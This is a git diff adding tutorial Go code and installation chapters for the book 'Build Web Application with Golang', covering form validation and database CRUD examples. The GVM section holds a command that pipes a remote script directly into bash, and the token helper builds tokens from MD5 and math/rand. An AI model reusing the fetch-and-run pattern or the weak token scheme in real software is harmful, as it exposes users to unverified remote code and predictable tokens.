n.hashs[token] == true +} +func (n *Nonces) MarkToken(token string) { + n.hashs[token] = true +} +func (n *Nonces) CheckToken(token string) error { + if token == "" { + return errors.New("No token supplied") + } + if n.HasToken(token) { + return errors.New("Duplicate submission.") + } + return nil +} +func (n *Nonces) CheckThenMarkToken(token string) error { + defer n.MarkToken(token) + if err := n.CheckToken(token); err != nil { + return err + } + return nil +} +func createToken() string { + h := md5.New() + now := time.Now().Unix() + io.WriteString(h, strconv.FormatInt(now, 10)) + io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) + return fmt.Sprintf("%x", h.Sum(nil)) +} diff --git a/en/code/src/apps/ch.4.5/upload.gtpl b/en/code/src/apps/ch.4.5/upload.gtpl new file mode 100644 index 00000000..4c55c5c5 --- /dev/null +++ b/en/code/src/apps/ch.4.5/upload.gtpl @@ -0,0 +1,17 @@ +{{define "upload"}} + + + {{if .Errors}} +

Errors:

+
    + {{range .Errors}} +
  1. {{.}}
  2. + {{end}} +
+ {{else}} + File uploaded successfully.
+ Note: Refreshing the page will produce a duplicate entry. + {{end}} + + +{{end}} diff --git a/en/code/src/apps/ch.4.5/validator/main.go b/en/code/src/apps/ch.4.5/validator/main.go new file mode 100644 index 00000000..35111231 --- /dev/null +++ b/en/code/src/apps/ch.4.5/validator/main.go @@ -0,0 +1,175 @@ +// This file contains all the validators to validate the profile page. +package validator + +import ( + "errors" + "fmt" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +type ProfilePage struct { + Form *url.Values +} +type Errors struct { + Errors []error +} + +// Goes through the form object and validates each element. +// Attachs an error to the output if validation fails. +func (p *ProfilePage) GetErrors() Errors { + errs := make([]error, 0, 10) + if *p.Form == nil || len(*p.Form) < 1 { + errs = append(errs, errors.New("No data was received. Please submit from the profile page.")) + } + for name, val := range *p.Form { + if fn, ok := stringValidator[name]; ok { + if err := fn(strings.Join(val, "")); err != nil { + errs = append(errs, err) + } + } else { + if fn, ok := stringsValidator[name]; ok { + if err := fn(val); err != nil { + errs = append(errs, err) + } + } + } + } + return Errors{errs} +} + +const ( + // Used for parsing the time + mmddyyyyForm = "01/02/2006" // we want the date sent in this format + yyyymmddForm = "2006-01-02" // However, HTML5 pages send the date in this format +) + +var stringValidator map[string]func(string) error = map[string]func(string) error{ + // parameter name : validator reference + "age": checkAge, + "birthday": checkDate, + "chineseName": checkChineseName, + "email": checkEmail, + "gender": checkGender, + "shirtsize": checkShirtSize, + "username": checkUsername, +} +var stringsValidator map[string]func([]string) error = map[string]func([]string) error{ + // parameter name : validator reference + "sibling": checkSibling, +} + +// Returns true if slices have a common element +func doSlicesIntersect(s1, s2 []string) bool { + if s1 == nil || s2 == nil { + return false + } + for _, str := range s1 { + if isElementInSlice(str, s2) { + return true + } + } + return false +} +func isElementInSlice(str string, sl []string) bool { + if sl == nil || str == "" { + return false + } + for _, v := range sl { + if v == str { + return true + } + } + return false +} + +// Checks if all the characters are chinese characters. Won't check if empty.' +func checkChineseName(str string) error { + if str != "" { + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", strings.Trim(str, " ")); !m { + return errors.New("Please make sure that the chinese name only contains chinese characters.") + } + } + return nil +} + +// Checks if a user name exist. +func checkUsername(str string) error { + if strings.Trim(str, " ") == "" { + return errors.New("Please enter a username.") + } + return nil +} + +// Check if age is a number and between 13 and 130 +func checkAge(str string) error { + age, err := strconv.Atoi(str) + if str == "" || err != nil { + return errors.New("Please enter a valid age.") + } + if age < 13 { + return errors.New("You must be at least 13 years of age to submit.") + } + if age > 130 { + return errors.New("You're too old to register, grandpa.") + } + return nil +} +func checkEmail(str string) error { + if m, err := regexp.MatchString(`^[^@]+@[^@]+$`, str); !m { + fmt.Println("err = ", err) + return errors.New("Please enter a valid email address.") + } + return nil +} + +// Checks if a valid date was passed. +func checkDate(str string) error { + _, err := time.Parse(mmddyyyyForm, str) + if err != nil { + _, err = time.Parse(yyyymmddForm, str) + } + if str == "" || err != nil { + return errors.New("Please enter a valid Date.") + } + return nil +} + +// Checks if the passed input is a known gender option +func checkGender(str string) error { + if str == "" { + return nil + } + siblings := []string{"m", "f", "na"} + if !isElementInSlice(str, siblings) { + return errors.New("Please select a valid gender.") + } + return nil +} + +// Check if all the values are known options. +func checkSibling(strs []string) error { + if strs == nil || len(strs) < 1 { + return nil + } + siblings := []string{"m", "f"} + if siblings != nil && !doSlicesIntersect(siblings, strs) { + return errors.New("Please select a valid sibling") + } + return nil +} + +// Checks if the shirt size is a known option. +func checkShirtSize(str string) error { + if str == "" { + return nil + } + shirts := []string{"s", "m", "l", "xl", "xxl"} + if !isElementInSlice(str, shirts) { + return errors.New("Please select a valid shirt size") + } + return nil +} diff --git a/en/code/src/apps/ch.5.2/main.go b/en/code/src/apps/ch.5.2/main.go new file mode 100644 index 00000000..b64c4450 --- /dev/null +++ b/en/code/src/apps/ch.5.2/main.go @@ -0,0 +1,76 @@ +// Example code for Chapter 5.2 from "Build Web Application with Golang" +// Purpose: Use SQL driver to perform simple CRUD operations. +package main + +import ( + "database/sql" + "fmt" + _ "github.com/go-sql-driver/mysql" +) + +const ( + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" +) + +func main() { + dbSouce := fmt.Sprintf("%v:%v@/%v?charset=utf8", DB_USER, DB_PASSWORD, DB_NAME) + db, err := sql.Open("mysql", dbSouce) + checkErr(err) + defer db.Close() + + fmt.Println("Inserting") + stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + checkErr(err) + + res, err := stmt.Exec("astaxie", "software developement", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println("id of last inserted row =", id) + fmt.Println("Updating") + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") + + fmt.Println("Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username, department, created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created") + fmt.Printf("%3v | %6v | %6v | %6v\n", uid, username, department, created) + } + + fmt.Println("Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} diff --git a/en/code/src/apps/ch.5.2/readme.md b/en/code/src/apps/ch.5.2/readme.md new file mode 100644 index 00000000..bbeb630b --- /dev/null +++ b/en/code/src/apps/ch.5.2/readme.md @@ -0,0 +1,12 @@ +##Setup for `ch.5.2` + +- Step 1) Install and run MySql +- Step 2) Create a user and database according to the constants in `main.go` + + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" + +- Step 3) Create table `userinfo` located at `schema.sql` +- Step 4) Run `go get` to download and install the remote packages. +- Step 5) Execute the program with `go run main.go` diff --git a/en/code/src/apps/ch.5.2/schema.sql b/en/code/src/apps/ch.5.2/schema.sql new file mode 100644 index 00000000..04128f7f --- /dev/null +++ b/en/code/src/apps/ch.5.2/schema.sql @@ -0,0 +1,7 @@ +CREATE TABLE `userinfo` ( + `uid` INT(10) NOT NULL AUTO_INCREMENT, + `username` VARCHAR(64) NULL DEFAULT NULL, + `departname` VARCHAR(64) NULL DEFAULT NULL, + `created` DATE NULL DEFAULT NULL, + PRIMARY KEY (`uid`) +); diff --git a/en/code/src/apps/ch.5.3/foo.db b/en/code/src/apps/ch.5.3/foo.db new file mode 100644 index 0000000000000000000000000000000000000000..d805156b421a6c081e565cecdb01cb824aaabce8 GIT binary patch literal 3072 zcmeHJPfNov6i?crwCH)KK|Hy!4K^!!Q@a^-*mbjZ!cI1>Z&29UtxeUdem}p4H!pqy z6GsmY#EUSHJo57LlJ|%Fk{5Dw?L-{NG)d=-6AP6P#^{U?gpes%7hDh)gHoXgDfQpT zM9nv}E37o_9qFf{Q=|~s6aqtSt6Z<+F=zKP$d)s4^Y1cP<`7TTRlVy`+o#00I}Rml zw$+%;p&>kL&nI}hT&duf!B@;YgEWe#Ng=gwQG#MRAXU>aj3AG~fb?9SUQmw=yt5Pk_2{rh+>zs~)roo zbGb3;X&NcZS*8cGx%Q$ .read schema.sql + + Show tables + + sqlite> .tables + userinfo + + +- Step 4) Exit sqlite. + + sqlite> .exit + +- Step 5) Run `go get` to download and install remote packages. +- Step 6) Run the program with `go run main.go` + diff --git a/en/code/src/apps/ch.5.3/schema.sql b/en/code/src/apps/ch.5.3/schema.sql new file mode 100644 index 00000000..55aebb48 --- /dev/null +++ b/en/code/src/apps/ch.5.3/schema.sql @@ -0,0 +1,6 @@ +CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, + `created` DATE NULL + ); diff --git a/en/code/src/apps/ch.5.4/main.go b/en/code/src/apps/ch.5.4/main.go new file mode 100644 index 00000000..d4e19b1a --- /dev/null +++ b/en/code/src/apps/ch.5.4/main.go @@ -0,0 +1,77 @@ +// Example code for Chapter 5.4 from "Build Web Application with Golang" +// Purpose: Show how to perform CRUD operations using a postgres driver +package main + +import ( + "database/sql" + "fmt" + _ "github.com/bmizerany/pq" + "time" +) + +const ( + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" +) + +func main() { + dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable", + DB_USER, DB_PASSWORD, DB_NAME) + db, err := sql.Open("postgres", dbinfo) + checkErr(err) + defer db.Close() + + fmt.Println("# Inserting values") + + var lastInsertId int + err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", + "astaxie", "software developement", "2012-12-09").Scan(&lastInsertId) + checkErr(err) + fmt.Println("id of last inserted row =", lastInsertId) + + fmt.Println("# Updating") + stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) + + res, err := stmt.Exec("astaxieupdate", lastInsertId) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") + + fmt.Println("# Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created time.Time + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created ") + fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created) + } + + fmt.Println("# Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) + + res, err = stmt.Exec(lastInsertId) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "row(s) changed") +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} diff --git a/en/code/src/apps/ch.5.4/readme.md b/en/code/src/apps/ch.5.4/readme.md new file mode 100644 index 00000000..1bb60858 --- /dev/null +++ b/en/code/src/apps/ch.5.4/readme.md @@ -0,0 +1,12 @@ +##Setup for ch.5.4 + +- Step 1) Install and run Postgres +- Step 2) Create a user and database according to the constants in `main.go` + + DB_USER = "user" + DB_PASSWORD = "" + DB_NAME = "test" + +- Step 3) Create table `userinfo` located at `schema.sql` +- Step 4) Run `go get` to download and install the remote packages. +- Step 5) Execute the program with `go run main.go` diff --git a/en/code/src/apps/ch.5.4/schema.sql b/en/code/src/apps/ch.5.4/schema.sql new file mode 100644 index 00000000..001e8433 --- /dev/null +++ b/en/code/src/apps/ch.5.4/schema.sql @@ -0,0 +1,9 @@ +CREATE TABLE userinfo +( + uid serial NOT NULL, + username character varying(100) NOT NULL, + departname character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) +) +WITH (OIDS=FALSE); diff --git a/en/code/src/apps/ch.5.5/main.go b/en/code/src/apps/ch.5.5/main.go new file mode 100644 index 00000000..ce90e960 --- /dev/null +++ b/en/code/src/apps/ch.5.5/main.go @@ -0,0 +1,170 @@ +// Example code for Chapter 5.5 +// Purpose is to show to use BeeDB ORM for basic CRUD operations for sqlite3 +package main + +import ( + "database/sql" + "fmt" + "github.com/astaxie/beedb" + _ "github.com/mattn/go-sqlite3" + "time" +) + +var orm beedb.Model + +type Userinfo struct { + Uid int `beedb:"PK"` + Username string + Department string + Created string +} + +const DB_PATH = "./foo.db" + +func checkError(err error) { + if err != nil { + panic(err) + } +} +func getTimeStamp() string { + return time.Now().Format("2006-01-02 15:04:05") +} +func insertUsingStruct() int64 { + fmt.Println("insertUsingStruct()") + var obj Userinfo + obj.Username = "Test Add User" + obj.Department = "Test Add Department" + obj.Created = getTimeStamp() + checkError(orm.Save(&obj)) + fmt.Printf("%+v\n", obj) + return int64(obj.Uid) +} +func insertUsingMap() int64 { + fmt.Println("insertUsingMap()") + add := make(map[string]interface{}) + add["username"] = "astaxie" + add["department"] = "cloud develop" + add["created"] = getTimeStamp() + id, err := orm.SetTable("userinfo").Insert(add) + checkError(err) + fmt.Println("Last row inserted id =", id) + return id +} + +func getOneUserInfo(id int64) Userinfo { + fmt.Println("getOneUserInfo()") + var obj Userinfo + checkError(orm.Where("uid=?", id).Find(&obj)) + return obj +} + +func getAllUserInfo(id int64) []Userinfo { + fmt.Println("getAllUserInfo()") + var alluser []Userinfo + checkError(orm.Limit(10).Where("uid>?", id).FindAll(&alluser)) + return alluser +} + +func updateUserinfo(id int64) { + fmt.Println("updateUserinfo()") + var obj Userinfo + obj.Uid = int(id) + obj.Username = "Update Username" + obj.Department = "Update Department" + obj.Created = getTimeStamp() + checkError(orm.Save(&obj)) + fmt.Printf("%+v\n", obj) +} + +func updateUsingMap(id int64) { + fmt.Println("updateUsingMap()") + t := make(map[string]interface{}) + t["username"] = "updateastaxie" + //update one + // id, err := orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) + //update batch + lastId, err := orm.SetTable("userinfo").Where("uid>?", id).Update(t) + checkError(err) + fmt.Println("Last row updated id =", lastId) +} + +func getMapsFromSelect(id int64) []map[string][]byte { + fmt.Println("getMapsFromSelect()") + //Original SQL Backinfo resultsSlice []map[string][]byte + //default PrimaryKey id + c, err := orm.SetTable("userinfo").SetPK("uid").Where(id).Select("uid,username").FindMap() + checkError(err) + fmt.Printf("%+v\n", c) + return c +} + +func groupby() { + fmt.Println("groupby()") + //Original SQL Group By + b, err := orm.SetTable("userinfo").GroupBy("username").Having("username='updateastaxie'").FindMap() + checkError(err) + fmt.Printf("%+v\n", b) +} + +func joinTables(id int64) { + fmt.Println("joinTables()") + //Original SQL Join Table + a, err := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid").Where("userinfo.uid=?", id).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap() + checkError(err) + fmt.Printf("%+v\n", a) +} + +func deleteWithUserinfo(id int64) { + fmt.Println("deleteWithUserinfo()") + obj := getOneUserInfo(id) + id, err := orm.Delete(&obj) + checkError(err) + fmt.Println("Last row deleted id =", id) +} + +func deleteRows() { + fmt.Println("deleteRows()") + //original SQL delete + id, err := orm.SetTable("userinfo").Where("uid>?", 2).DeleteRow() + checkError(err) + fmt.Println("Last row updated id =", id) +} + +func deleteAllUserinfo(id int64) { + fmt.Println("deleteAllUserinfo()") + //delete all data + alluser := getAllUserInfo(id) + id, err := orm.DeleteAll(&alluser) + checkError(err) + fmt.Println("Last row updated id =", id) +} +func main() { + db, err := sql.Open("sqlite3", DB_PATH) + checkError(err) + orm = beedb.New(db) + var lastIdInserted int64 + + fmt.Println("Inserting") + lastIdInserted = insertUsingStruct() + insertUsingMap() + + a := getOneUserInfo(lastIdInserted) + fmt.Println(a) + + b := getAllUserInfo(lastIdInserted) + fmt.Println(b) + + fmt.Println("Updating") + updateUserinfo(lastIdInserted) + updateUsingMap(lastIdInserted) + + fmt.Println("Querying") + getMapsFromSelect(lastIdInserted) + groupby() + joinTables(lastIdInserted) + + fmt.Println("Deleting") + deleteWithUserinfo(lastIdInserted) + deleteRows() + deleteAllUserinfo(lastIdInserted) +} diff --git a/en/code/src/apps/ch.5.5/readme.md b/en/code/src/apps/ch.5.5/readme.md new file mode 100644 index 00000000..fcad11c8 --- /dev/null +++ b/en/code/src/apps/ch.5.5/readme.md @@ -0,0 +1,23 @@ +## Set up for `ch.5.5` + +- Step 1) Download and install sqlite 3. +- Step 2) Run `sqlite3 foo.db` to create a databased called `foo`. +- Step 3) Create the tables found in `schema.sql` in sqlite. + + Read and run sql statements + + sqlite> .read schema.sql + + Show tables + + sqlite> .tables + userinfo + userdetail + +- Step 4) Exit sqlite. + + sqlite> .exit + +- Step 5) Run `go get` to download and install remote packages. +- Step 6) Run the program with `go run main.go` + diff --git a/en/code/src/apps/ch.5.5/schema.sql b/en/code/src/apps/ch.5.5/schema.sql new file mode 100644 index 00000000..da897d5f --- /dev/null +++ b/en/code/src/apps/ch.5.5/schema.sql @@ -0,0 +1,12 @@ +CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, + `created` DATE NULL +); +CREATE TABLE `userdetail` ( + `uid` INT(10) NULL, + `intro` TEXT NULL, + `profile` TEXT NULL, + PRIMARY KEY (`uid`) +); diff --git a/en/code/src/apps/ch.5.6/mongodb/main.go b/en/code/src/apps/ch.5.6/mongodb/main.go new file mode 100644 index 00000000..9013f5ae --- /dev/null +++ b/en/code/src/apps/ch.5.6/mongodb/main.go @@ -0,0 +1,58 @@ +// Example code for Chapter 5.6 from "Build Web Application with Golang" +// Purpose: Shows you have to perform basic CRUD operations for a mongodb driver. +package main + +import ( + "fmt" + "labix.org/v2/mgo" + "labix.org/v2/mgo/bson" +) + +type Person struct { + Name string + Phone string +} + +func checkError(err error) { + if err != nil { + panic(err) + } +} + +const ( + DB_NAME = "test" + DB_COLLECTION = "people" +) + +func main() { + session, err := mgo.Dial("localhost") + checkError(err) + defer session.Close() + + session.SetMode(mgo.Monotonic, true) + + c := session.DB(DB_NAME).C(DB_COLLECTION) + err = c.DropCollection() + checkError(err) + + ale := Person{"Ale", "555-5555"} + cla := Person{"Cla", "555-1234"} + + fmt.Println("Inserting") + err = c.Insert(&ale, &cla) + checkError(err) + + fmt.Println("Updating") + ale.Phone = "555-0101" + err = c.Update(bson.M{"name": "Ale"}, &ale) + + fmt.Println("Querying") + result := Person{} + err = c.Find(bson.M{"name": "Ale"}).One(&result) + checkError(err) + fmt.Println("Phone:", result.Phone) + + fmt.Println("Deleting") + err = c.Remove(bson.M{"name": "Ale"}) + checkError(err) +} diff --git a/en/code/src/apps/ch.5.6/mongodb/readme.md b/en/code/src/apps/ch.5.6/mongodb/readme.md new file mode 100644 index 00000000..a2aa6410 --- /dev/null +++ b/en/code/src/apps/ch.5.6/mongodb/readme.md @@ -0,0 +1,6 @@ +##Setup for `ch.5.6` for MongoDB + +- Step 1) Install and run MongoDB +- Step 2) Launch the MongoDB daemon (mongod) to start the server. +- Step 3) Run `go get` to download and install the remote packages. +- Step 4) Execute the program with `go run main.go` diff --git a/en/code/src/apps/ch.5.6/redis/main.go b/en/code/src/apps/ch.5.6/redis/main.go new file mode 100644 index 00000000..9bac3f30 --- /dev/null +++ b/en/code/src/apps/ch.5.6/redis/main.go @@ -0,0 +1,60 @@ +// Example code for Chapter 5.6 from "Build Web Application with Golang" +// Purpose: Shows you have to perform basic CRUD operations for a redis driver. +package main + +import ( + "fmt" + "github.com/astaxie/goredis" +) + +func checkError(err error) { + if err != nil { + panic(err) + } +} + +const ( + DB_PORT = "9191" + DB_URL = "127.0.0.1" +) + +func main() { + var client goredis.Client + + // Set the default port in Redis + client.Addr = DB_URL + ":" + DB_PORT + + // string manipulation + fmt.Println("Inserting") + err := client.Set("a", []byte("hello")) + checkError(err) + + // list operation + vals := []string{"a", "b", "c", "d"} + for _, v := range vals { + err = client.Rpush("l", []byte(v)) + checkError(err) + } + fmt.Println("Updating") + err = client.Set("a", []byte("a is for apple")) + checkError(err) + err = client.Rpush("l", []byte("e")) + checkError(err) + + fmt.Println("Querying") + val, err := client.Get("a") + checkError(err) + fmt.Println(string(val)) + + dbvals, err := client.Lrange("l", 0, 4) + checkError(err) + for i, v := range dbvals { + println(i, ":", string(v)) + } + + fmt.Println("Deleting") + _, err = client.Del("l") + checkError(err) + _, err = client.Del("a") + checkError(err) +} diff --git a/en/code/src/apps/ch.5.6/redis/readme.md b/en/code/src/apps/ch.5.6/redis/readme.md new file mode 100644 index 00000000..fb8a70d8 --- /dev/null +++ b/en/code/src/apps/ch.5.6/redis/readme.md @@ -0,0 +1,10 @@ +##Setup for `ch.5.6` for Redis + +- Step 1) Install and run Redis +- Step 2) Launch the Redis server matching the DB constants. + + DB_PORT = "9191" + DB_URL = "127.0.0.1" + +- Step 3) Run `go get` to download and install the remote packages. +- Step 4) Execute the program with `go run main.go` diff --git a/en/code/src/mymath/sqrt.go b/en/code/src/mymath/sqrt.go new file mode 100644 index 00000000..6f089e05 --- /dev/null +++ b/en/code/src/mymath/sqrt.go @@ -0,0 +1,12 @@ +// Example code for Chapter 1.2 from "Build Web Application with Golang" +// Purpose: Shows how to create a simple package called `mymath` +// This package must be imported from another go file to run. +package mymath + +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z +} diff --git a/en/eBook/01.0.md b/en/eBook/01.0.md new file mode 100644 index 00000000..ff2f4905 --- /dev/null +++ b/en/eBook/01.0.md @@ -0,0 +1,20 @@ +# 1 Go Environment Configuration + +Welcome to the world of Go, let's start exploring! + +Go is a fast-compiled, garbage-collected, concurrent systems programming language. It has the following advantages: + +- Compiles a large project within a few seconds. +- Provides a software development model that is easy to reason about, avoiding most of the problems that caused by C-style header files. +- Is a static language that does not have levels in its type system, so users do not need to spend much time dealing with relations between types. It is more like a lightweight object-oriented language. +- Performs garbage collection. It provides basic support for concurrency and communication. +- Designed for multi-core computers. + +Go is a compiled language. It combines the development efficiency of interpreted or dynamic languages with the security of static languages. It is going to be the language of choice for the modern multi-core computers with networking. For these purposes, there are some problems that have to be resolved in language itself, such as a richly expressive lightweight type system, concurrency, and strictly regulated garbage collection. For quite some time, no packages or tools have come out that have solved all of these problems pragmatically; thus was born the motivation for the Go language. + +In this chapter, I will show you how to install and configure your own Go development environment. + +## Links + +- [Directory](preface.md) +- Next section: [Installation](01.1.md) diff --git a/en/eBook/01.1.md b/en/eBook/01.1.md new file mode 100644 index 00000000..058981b6 --- /dev/null +++ b/en/eBook/01.1.md @@ -0,0 +1,122 @@ +# 1.1 Installation + +## Three ways to install Go + +There are many ways to configure the Go development environment on your computer, you can choose any one you like. The three most common ways are as follows. + + +- Official installation packages. + - The Go team provides convenient installation packages in Windows, Linux, Mac and other operating systems. The easiest way to get started. +- Install from source code. + - Popular with developers who are familiar with Unix-like systems. +- Use third-party tools. + - There are many third-party tools and package managers for installing Go, like apt-get in Ubuntu and homebrew for Mac. + +In case you want to install more than one version of Go in one computer, you should take a look at the tool called [GVM](https://github.com/moovweb/gvm). It is the best tool I've seen so far for achieving this job, otherwise you have to know how to deal with this problem by yourself. + +## Install from source code + +Because some parts of Go are written in Plan 9 C and AT&T assembler, you have to install a C compiler before taking the next step. + +On a Mac, once you install the Xcode, you have already have the compiler. + +On Unix-like systems, you need to install gcc or a like compiler. For example, using the package manager apt-get included with Ubuntu, one can install the required compilers as follows: + `sudo apt-get install gcc libc6-dev` + +On Windows, you need to install MinGW in order to install gcc. Don't forget to configure environment variables after the installation is finished.( ***Everything looks like this means it's commented by translator: If you are using 64-bit Windows, you would better install 64-bit version of MinGW*** ) + +The Go team uses [Mercurial](http://mercurial.selenic.com/downloads/) to manage source code, so you need to install this tool in order to download Go source code. + +At this point, execute following commands to clone Go source code, and start compiling.( ***It will clone source code to you current directory, switch your work path before you continue. This may take some time.*** ) + + hg clone -u release https://code.google.com/p/go + cd go/src + ./all.bash + +A successful installation will end with the message "ALL TESTS PASSED." + +On Windows, you can achieve the same by running `all.bat`. + +If you are using Windows, installation package will set environment variables automatically. In Unix-like systems, you need to set these variables manually as follows.( ***If your Go version is greater than 1.0, you don't have to set $GOBIN, and it will automatically be related to your $GOROOT/bin, which we will talk about in the next section***) + + export GOROOT=$HOME/go + export GOBIN=$GOROOT/bin + export PATH=$PATH:$GOROOT/bin + +If you see the following information on your screen, you're all set. + +![](images/1.1.mac.png?raw=true) + +Figure 1.1 Information after installed from source code + +Once you see the usage information of Go, it means you successfully installed Go on your computer. If it says "no such command", check if your $PATH environment variable contains the installation path of Go. + +## Use standard installation packages + +Go has one-click installation packages for every operating system. These packages will install Go in `/usr/local/go` (`c:\Go` in Windows) as default. Of course you can change it, but you also need to change all the environment variables manually as I showed above. + +### How to check if your operating system is 32-bit or 64-bit? + +Our next step depends on your operating system type, so we have to check it before we download the standard installation packages. + +If you are using Windows, press `Win+R` and then run the command tool, type command `systeminfo` and it will show you some useful information just few seconds. Find the line with "system type", if you see "x64-based PC" that means your operating system is 64-bit, 32-bit otherwise. + +I strongly recommend downloading the 64-bit version of package if you are Mac users as Go is no longer supports pure 32-bit processors in Mac OS. + +Linux users can type `uname -a` in the terminal to see system information. +64-bit operating system shows as follows. + + x86_64 x86_64 x86_64 GNU/Linux + // some machines such as Ubuntu 10.04 will show as following + x86_64 GNU/Linux + +32-bit operating system shows as follows. + + i686 i686 i386 GNU/Linux + +### Mac + +Go to the [download page](http://code.google.com/p/go/downloads/list), choose `go1.0.3.darwin-386.pkg` for 32-bit systems and `go1.0.3.darwin-amd64.pkg` for 64-bit systems. All the way to the end by clicking "next", `~/go/bin` will be added to $PATH after you finished the installation. Now open the terminal and type `go`. You should now see the what is displayed in figure 1.1. + +### Linux + +Go to the [download page]((http://code.google.com/p/go/downloads/list), choose `go1.0.3.linux-386.tar.gz` for 32-bit systems and `go1.0.3.linux-amd64.tar.gz` for 64-bit systems. Suppose you want to install Go in path `$GO_INSTALL_DIR`, uncompress `tar.gz` to the path by command `tar zxvf go1.0.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR`. Then set your $PATH `export PATH=$PATH:$GO_INSTALL_DIR/go/bin`. Now just open the terminal and type `go`. You should now see the what is displayed in figure 1.1. + +### Windows + +Go to the [download page]((http://code.google.com/p/go/downloads/list), choose `go1.0.3.windows-386.msi` for 32-bit systems and `go1.0.3.windows-amd64.msi` for 64-bit systems. All the way to the end by clicking "next", `c:/go/bin` will be added to `path`. Now just open a command line window and type `go`. You should now see the what is displayed in figure 1.1. + +## Use third-party tools + +### GVM + +GVM is a Go multi-version control tool developed by third-party, like rvm in ruby. It's quite easy to use it. Install gvm by typing following commands in your terminal. + + bash < <(curl -s https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer) + +Then we install Go by following commands. + + gvm install go1.0.3 + gvm use go1.0.3 + +After the process finished, you're all set. + +### apt-get + +Ubuntu is the most popular desktop release version of Linux. It uses `apt-get` to manage packages. We can install Go using the following commands. + + sudo add-apt-repository ppa:gophers/go + sudo apt-get update + sudo apt-get install golang-stable + +### Homebrew + +Homebrew is a software manage tool commonly used in Mac to manage software. Just type following commands to install Go. + + brew install go + +## Links + +- [Directory](preface.md) +- Previous section: [Go environment configuration](01.0.md) +- Next section: [$GOPATH and workspace](01.2.md) diff --git a/en/eBook/01.2.md b/en/eBook/01.2.md new file mode 100644 index 00000000..4ee4020e --- /dev/null +++ b/en/eBook/01.2.md @@ -0,0 +1,151 @@ +#1.2 $GOPATH and workspace + +## $GOPATH + +Go commands all rely on one important environment variable which is called $GOPATH. Notice that this is not the $GOROOT where Go is installed. This variable points to the workspace of Go in your computer. (I use this path in my computer, if you don't have the same directory structure, please replace by yourself.) + +In Unix-like systems, the variable should be used like this. + + export GOPATH=/home/apple/mygo + +In Windows, you need to create a new environment variable called GOPATH, then set its value to `c:\mygo`( ***This value depends on where your workspace is located*** ) + +It is OK to have more than one path(workspace) in $GOPATH, but remember that you have to use `:`(`;` in Windows) to break up them. At this point, `go get` will save the content to your first path in $GOPATH. + +In $GOPATH, you must have three folders as follows. + +- `src` for source files whose suffix is .go, .c, .g, .s. +- `pkg` for compiled files whose suffix is .a. +- `bin` for executable files + +In this book, I use `mygo` as my only path in $GOPATH. + +## Package directory + +Create package source files and folders like `$GOPATH/src/mymath/sqrt.go` (`mymath` is the package name) ( ***Author uses `mymath` as his package name, and same name for the folder where contains package source files***) + +Every time you create a package, you should create a new folder in the `src` directory, folders' name usually as same as the package's that you are going to use. You can have multi-level directory if you want to. For example, you create directories `$GOPATH/src/github.com/astaxie/beedb`, then the package path is `github.com/astaxie/beedb`. The package name will be the last directory in your path, which is `beedb` in this case. + +Execute following commands. ( ***Now author goes back to talk examples*** ) + + cd $GOPATH/src + mkdir mymath + +Create a new file called `sqrt.go`, type following content to your file. + + // Source code of $GOPATH/src/mymath/sqrt.go + package mymath + + func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z + } + +Now my package directory is created and code work is done. I recommend you to keep same name for your package and the folder contains package source files. + +## Compile packages + +We've already created our package above, but how to compile it for practical? There are two ways to do it. + +1. Switch your work path to the directory of your package, then execute command `go install`. +2. Execute above command with file name like `go install mymath`. + +After compiled, we can open the following folder. + + cd $GOPATH/pkg/${GOOS}_${GOARCH} + // you can see the file was generated + mymath.a + +The file whose suffix is `.a` is the binary file of our packages, and now how can we use it? + +Obviously, we need to create a new application to use it. + +Create a new application package called `mathapp`. + + cd $GOPATH/src + mkdir mathapp + cd mathapp + vim main.go + +code + + //$GOPATH/src/mathapp/main.go source 